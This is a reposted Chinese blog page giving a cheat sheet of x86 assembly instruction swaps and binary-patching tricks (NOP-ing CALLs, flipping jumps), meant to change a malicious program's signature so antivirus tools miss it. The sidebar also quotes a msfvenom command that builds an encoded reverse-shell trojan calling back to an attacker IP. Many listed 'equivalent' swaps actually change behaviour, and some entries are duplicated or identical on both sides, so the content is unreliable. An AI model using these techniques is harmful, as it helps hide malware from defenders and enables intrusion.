等价替换汇编指令

最新推荐文章于 2024-04-25 17:04:17 发布
最新推荐文章于 2024-04-25 17:04:17 发布
阅读量2.5k 收藏 6
点赞数 1
分类专栏： 转载文章 文章标签： 汇编 byte c

A开头
-------------------------------------------------------------------------------------------------------------------------------------
add   改adc
ADD   改ADC
ADD 1 改 sub -1
add dword ptr ss:[ebp-130],edx ---------adc dword ptr ss:[ebp-130],edx
ADD [EAX],CH----------------------------ADD [EAX],DH
ADD [EAX],BH 0038 ----------------------ADD [EAX+40],AL 0040 40
ADD [EAX+EAX*2+46],AL ------------------ADD [EAX+EAX*2+46],CL
ADD [EAX+40],DL 0050 40 ----------------0058 40 ADD [EAX+40],DL
ADD AH,CH 00EC -------------------------00F4 ADD AH,DH
add dword ptr ss:[ebp-130],edx -------- adc dword ptr ss:[ebp-130],edx
-------------------------------------------------------------------------------------------------------------------------------------
C开头
-------------------------------------------------------------------------------------------------------------------------------------
CMP   改SUB
call 复件_(4).004CF607 ----------------- push 复件_(4).004CF607
CMP DWORD PTR DS:[100170A4],0 -------------sub DWORD PTR DS:[100170A4],0
CALL ---------看到了CALL跟随进去看NOP就可以把CALL的地址该成NOP
方法2--看下附近有没有MOV修该成NOP看下可以免杀不。可以的话该XOR
方法3--看附近jnz跳转该下跳转的地址/可免杀不/
CALL EAX                         |CALL EBX
比效指令 CMP：看下是个比效指令 在看下JNZ条件转移指令
就是说CMP比效正确就跳那我们可以把CMP用NOP掉在把JNZ该成JMP
不进行CMP比效
CMP ESI,1
JNZ SHORT VVV.1000D793
-------------------------------------------------------------------------------------------------------------------------------------
D开头
-------------------------------------------------------------------------------------------------------------------------------------
DAA 组合的十进制加法调整指令 --------DAS   减法的十进制调整.
-------------------------------------------------------------------------------------------------------------------------------------
J开头
-------------------------------------------------------------------------------------------------------------------------------------
JE       改      JNB
JNZ      改      JNL
jnz      改      JB
JE       改      JNA
je       改      jb
jnz      改      jg
js       改      jp
je       改      jle
jnz      改      jle
je       改      jge
JE       改      jnz
JE       改      JB
JNS      改      POP ECX
JNS      改      jnc-jnb
JNB      改      JGE
jnb short fsg2_0.0040015D----------------ja short fsg2_0.0040015D
JMP     NEAR [1071c]---------------------JMP     NEAR [1071B]
jnz--je-jmp修改中要看下跳的地址是不是很重要说明[1]
JNZ 00874E85--MOV EAX,88B6D0 可以是该成JE 00874E85--MOV EAX,88B6D0
-------------------------------------------------------------------------------------------------------------------------------------
L开头
-------------------------------------------------------------------------------------------------------------------------------------
LEA EBP,[ESP+10]     改    LEA EBP,[ESP+10]  
-------------------------------------------------------------------------------------------------------------------------------------
M开头
-------------------------------------------------------------------------------------------------------------------------------------
MOVSX                            改      MOVZX
MOV EBP,ESP                      改      AND AH,CH
MOV [EBP-18],ESP                 改      MOV [EBP-18],AH
MOV EAX,[ESP+10]                 改      MOV EAX,[ESP+10]      
MOV [ESP+10],EBP                 改      MOV [ESP+10],EBP  
mov [ebp-256], eax               改      adc [ebp-226], eax
MOV EDI,[EBP+10]                 改      MOV     EDI,[EBP+11]
MOV EBX,DWORD PTR DS:[ESI]       改      XOR EBX,DWORD PTR DS:[ESI]
MOV EBP,ESP--------AND AH,CH
MOV EBX,DWORD PTR DS:[ESI]---------XOR EBX,DWORD PTR DS:[ESI]
-------------------------------------------------------------------------------------------------------------------------------------
P开头
-------------------------------------------------------------------------------------------------------------------------------------
push   改call
PUSH EBX PUSH EDI
PUSH ESI PUSH EAX
PUSH EDI PUSH ESI
PUSH EAX PUSH EBX
-------------------------------------------------------------------------------------------------------------------------------------
S开头
-------------------------------------------------------------------------------------------------------------------------------------
sbb 改adc
sub 改mov
SHL 改 SAL
SAR 改 SHR
sub ebp,7---------- add ebp,-7
sub ebx,eax----------sbb esi,ecx
SBB ECX,DWORD PTR DS:[ESI+2]----------ADC ECX,DWORD PTR DS:[ESI+2]
PUSH    EAX          改        PUSH    EBX    
SUB     ESP,EAX      改        SUB     ESP,EAX  
PUSH    EBX          改        PUSH    EDI            
PUSH    ESI          改        PUSH    EAX                
PUSH    EDI          改        PUSH    ESI
sub ebx,eax----------sbb esi,ecx
-------------------------------------------------------------------------------------------------------------------------------------
T开头
-------------------------------------------------------------------------------------------------------------------------------------
TEST ESI,ESI-------改------- AND     ESI,ESI
-------------------------------------------------------------------------------------------------------------------------------------
X开头
-------------------------------------------------------------------------------------------------------------------------------------
xor 改sub
XOR     [EAX],AL-------改--------MOV     [EAX],AL
XOR EAX,EAX-----改-------OR EAX,EAX
-------------------------------------------------------------------------------------------------------------------------------------
其他
--------------------------------------------------
修改jd改为JG还可以看下JB一般都是2个字节，2进制看下
ascll吗，基本上还可以修改大小的，还有的是看下跳转
jb-------------jg
-----------------------------------------------
CALL ---------看到了CALL跟随进去看NOP就可以把CALL的地址该成NOP
方法2--看下附近有没有MOV修该成NOP看下可以免杀不。可以的话该XOR
方法3--看附近jnz跳转该下跳转的地址/可免杀不/
JNZ 00874E85---PUSH DWORD PTR DS:[88F658]
PUSH下面MOV ECX,88C0AC就可以JNZ该到MOV连接
------------------------------------------------------------
-----------------------------------------------------------
005E 01 ADD BYTE PTR DS:[ESI+1],BL 修改方法
006E 01 ADD BYTE PTR DS:[ESI+1],CH 这样的成功机会不大看运气
------------------------------------------------------------
修改这样的命令要看下 1071C的地址，有没有，可以修改的
本身怎个命令是不可以修改的
JMP DWORD PTR DS:[1071C]----DS:[1071b]
还可以看下上下有没有空的代码来换下位置
------------------------------------------------------------
看下面的命令 观察上下的指令来修改|
CALL EAX                         |CALL EBX
MOV DWORD PTR SS:[EBP-1C],EAX    |MOV DWORD PTR SS:[EBP-1C],EBX
---------------------------------------------------------------
比效指令 CMP：看下是个比效指令 在看下JNZ条件转移指令
就是说CMP比效正确就跳那我们可以把CMP用NOP掉在把JNZ该成JMP
不进行CMP比效
CMP ESI,1
JNZ SHORT VVV.1000D793
---------------------------------------------------------------
看下MOV数据传送指令 很明白就是将ESI给ESP+14
那看下JE跳下去的指令XOR AL,AL没有用可以NOP掉
MOV [ESP+14],ESI
JE 1000A74B 跳转去下个指令XOR AL,AL
修改成
MOV ESP,ESI
ADD ESP,14
----------------------------------------------------------------
LEA有效地址传送指令，遇到这样的指令不要该他可能会不能运行
LEA ECX,[ESP+10]
修改思路可以看下，上面的指令，如下
MOV EAX,DWORD PTR DS:[EBX]
CMP EAX,-1
JE 100017E9 到达的就是LEA ECX,[ESP+10]
上面可以看出是一系列的比对指令，最后LEA地址传
可以把MOV CMP JE 三个比对NOP掉在把LEA写到MOV CMP JE地址上，在用
JMP跳到下个指令运行
----------------------------------------------------------------
                 修改大小写在汇编里的变化
------------------------------------------------------------
INS BYTE PTR ES:[EDI],DX 小<l>------------------DEC ESP大<L>
PREFIX ADDRSIZE: 小<g> ----------------INC EDI 大<G>

=================================================================
XCHG EAX,ESP -----------PUSHFD
数据交换指令 XCHG       标志传送指令 PUSHF

月下孤笔
关注
专栏目录
OD汇编指令集（不断更新）
业精于勤，荒于嬉
07-30 2119
一、快捷键 F7 执行一行代码，遇到 CALL 等子程序时会进入其中，进入后首先会停留在子程序的第一条指令上。 F8 执行一行代码，遇到 CALL 等子程序不进入其代码。 F2 在显著行设置断点，再次按 F2 删除断点。 F9 F9运行调试程序，直到遇到断点停止运行，Debug->Run。 F12 临时暂停程序，Debug-> Pause。 二、寄存器 ESP 指向堆栈最顶端的地址。 EIP 指向当前将要执行的指令的地址。 EAX ECX EDX EBX ESP EBP ESI E
汇编学习笔记——伪指令
aketoshknight的博客
04-13 2339
伪指令 定义：没有对应机器码的指令，最终不被CPU所执行，而是由编译器执行的指令。编译器根据伪指令来进行相关的编译工作。 示例1：一段汇编程序中的伪指令示例 PS:伪指令在debug中直接执行汇编代码是不需要的，但若要将汇编程序交由编译器执行，则是必要的。 段定义 定义：一个汇编程序是由多个段组成的，这些段被用来存放代码、数据或当作栈空间来使用。格式为：段名 segment表示段的开始；段名 ends表示段的结束。 示例：完整的汇编程序 PS1:一个有意义的汇编程序中至少要有...
免杀手法 免杀笔记 免杀技巧
07-15
免杀手法 免杀笔记 免杀技巧免杀手法 免杀笔记 免杀技巧免杀手法 免杀笔记 免杀技巧免杀手法 免杀笔记 免杀技巧免杀手法 免杀笔记 免杀技巧免杀手法 免杀笔记 免杀技巧免杀手法 免杀笔记 免杀技巧免杀手法 免杀笔记 免杀技巧
汇编 cmp_免杀常用的汇编指令有哪些？如何等价替换汇编指令实现免杀？
weixin_39939918的博客
12-15 947
一、 什么是PE文件？ 在Windows下所谓PE文件即Portable Executable，意为可移植的可执行的文件。常见的.EXE、.DLL、.OCX、.SYS、.COM都是PE文件。PE文件有一个共同特点：前两个字节为4D 5A(MZ)。如果一个文件前两个字节不是4D 5A则其肯定不是可执行文件。比如用16进制文本编辑器打开一个".xls"文件其前两个字节为：0XD0 0XCF；打开一个"...
转:学习免杀
创造神话,实现梦想!
12-21 1496
学习免杀，首先你得学会汇编把，基础的指令要懂得一些，一般的指令修改必须会，一般的修改这里就不赘述了，接下来就是掌握一些常用的免杀技巧，这里总结一些
[汇编] 免杀常用等价替换汇编指令修改方法
0ffs3t
12-20 2903
我新来的发点东西。。。 A开头 ============================================================================ add   改adc ADD   改ADC ADD 1 改 sub -1 add dword ptr ss:[ebp-130],edx ---------adc dword ptr ss:[eb
C语言怎么等价汇编语言,第四章汇编语言程序结构.ppt
weixin_32842805的博客
05-21 272
第四章汇编语言程序结构第四章 程序的基本结构 程序的几种基本结构 例3. 试编写程序，将字节数据B1拆分成两个半字节数据，分别存放于其后两个单元中。 DATAS SEGMENT B1 db 24H db 2 dup ? DATAS ENDS CODES SEGMENT …… mov al,B1 mov dl,al and al,0fh mov B1+1,...
免杀等价替换汇编指令修改
10-02
“免杀等价替换汇编指令修改”这一标题所指代的技术，是通过修改程序中的汇编指令，使其功能保持不变但形式上有所差异，从而绕过现有的安全检测机制。这种技术通常被用于合法的逆向工程、软件调试或对抗性测试，但在...
木马免杀等价替换汇编指令
01-18
根据提供的标题、描述以及部分上下文内容，我们可以深入探讨“木马免杀等价替换汇编指令”这一主题。在网络安全领域，特别是针对恶意软件（如木马）的设计与防御中，了解如何通过修改底层汇编指令来规避防病毒软件的...
ParsePe_等价替换PE文件指令_解析PE文件_
10-03
进行等价替换需注意以下几点： 1. **指令兼容性**：确保替换后的指令在目标机器上能正确执行，且与原指令有相同的效果。 2. **重定位**：替换指令可能会影响程序的地址布局，需要相应地更新重定位信息。 3. **调试...
***免杀方法总结篇
weixin_33688840的博客
04-27 143
一.入口点加1免杀法:1.用到工具PEditor2.特点:非常简单实用,但有时还会被卡巴查杀3.操作要点:用PEditor打开无壳***程序,把原入口点加1即可二.变化入口地址免杀法:1.用到工具:OllyDbg,PEditor2.特点:操作也比较容易,而且免杀效果比入口点加1点要佳.3.操作要点:用OD载入无壳的***程序,把入口点的前二句移到零区域去执行,然后又跳回到入口...
免杀方法简单汇总
热门推荐
qq_21193587的博客
06-04 3万+
virscan.org/scan/ 方法 1 静态文件特征修改 静态文件 源码去除些特殊关键字和特征字段 如 minikatz https://github.com/gentilkiwi/minikatz 替换掉图标 minikatz 和项目注释信息等,重新编译 2020-10 月当时最新得的 360 腾讯等免杀. 方法 2 msfloder MSF 用加载器过 2020-10 当时最新 360 不过这个项目有点老 2012 年的 方法 3 python3 shellcode python2 的已经很多会被
免杀常用技术方法
whatday的专栏
04-23 7550
00. 概述 什么是免杀？来自百科的注解： 免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写Virus AV），逐字翻译为“反-反病毒”，翻译为“反杀毒技术”。 有本比较有名的书，想详细学习的同学可以去看看。《黑客免杀攻防》 其实我大概好像只看过目录…( ╯□╰ ) 下面我介绍的是自己实践的一些方法，有没...
免杀技术有一套（免杀方法大集结）
hackzkaq的博客
05-23 7354
零基础学黑客，搜索公众号：白帽子左一 00. 概述 什么是免杀？来自百科的注解： 免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写Virus AV），逐字翻译为“反-反病毒”，翻译为“反杀毒技术”。 有本比较有名的书，想详细学习的同学可以去看看。《黑客免杀攻防》 其实我大概好像只看过目录…( ╯□╰ ) 下面我介绍的是自己实践的一些方法，有没有效果，试试就知道了。 01. 简介 免杀大概可以分为两种情况： 二进制的免杀（无源
常见的几种免杀方法
路虽远，行将至。事虽难，做必达。
03-05 6692
攻击机kali：192.168.1.11 靶机Windows7:192.168.1.18 1、自编码免杀 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 -e x86/shikata_ga_nai -i 15 -f exe -o shell.exe 开启本地监听并在靶机运行木马，shell反弹成功，木马程序正常使用 微步沙箱检测结果，检出率近一半，效果一般 ​​​ ...
【网络安全】简单的免杀方法(非常详细)零基础入门到精通，收藏这一篇就够了
Javachichi的博客
04-14 3019
目录一、免杀的概念二、免杀系统搭建三、免杀工具介绍1、myccl2、C32asm3、OD4、LordPE5、ImportREC6、VC++6.0/visual studio7、数字签名四、关于杀软排名不分前后1、360。2、金山毒霸3、江民4、瑞星5、安天防线6、卡巴斯基7、NOD328、诺顿9、小红伞，木伞10、BD五、杀软的查杀方法1、最基础的查杀2.1、静态启发式2.2、动态启发式3、HIPS4、云安全六、免杀方面的术语1、API2、花指令3、输入表4、区段5、加壳6、反启发7、隐藏输入表什么是免杀？
史上最全的免杀方法汇总
最新发布
2401_84466223的博客
04-25 746
了解这些免杀技术不仅有助于安全专业人士更好地设计防御措施，也是提升安全意识、防范恶意攻击的重要手段。务必在遵守法律和道德的前提下，合理使用这些知识进行安全防护和教育。网络安全是一个不断发展的领域，随着技术的进步，新的免杀技术和防护方法将持续出现。
免杀花指令
weixin_34106122的博客
09-30 179
今天送上经典花指令 注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果. push ebp pop ebp push eax pop eax push esp pop esp push 0 push 0 push 10 -------其中数字可以任意,注意与下面对应 push -10 nop -----------可任意在中间添加 与它等效的: mov EDI...
函数调用过程中栈空间的变化
ma_de_hao_mei_le的博客
05-06 856
友链 参考链接： 这个ppt真心不赖 备份连接 第二部分： 我们首先要明白，在内存中，栈只是一个概念，它并不是实实在在存在的东西 他是由ss、ebp和esp这三个寄存器定义出来的 ss栈段寄存器定义了所谓的栈在内存中的范围，即起始地址至终止地址 在这个内存范围内，我们可以定义自己的栈空间 在内存中，栈的增长方向通常为向低地址生长 那么ebp和esp寄存器就分别指向了栈的底部（高地址）和栈的顶部（低地址） 每次push都会导致esp变得更小，每次pop都会让esp变得更大 那么到了这里，我们对栈就有
汇编语言习题详解及解答
这些习题涵盖了汇编语言的基本概念、数据结构、算术运算、内存管理以及指令使用技巧，有助于学生巩固和理解汇编语言编程的基础知识。通过解决这些问题，学习者可以提升对指令集架构、寻址方式和数据处理的理解，并...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值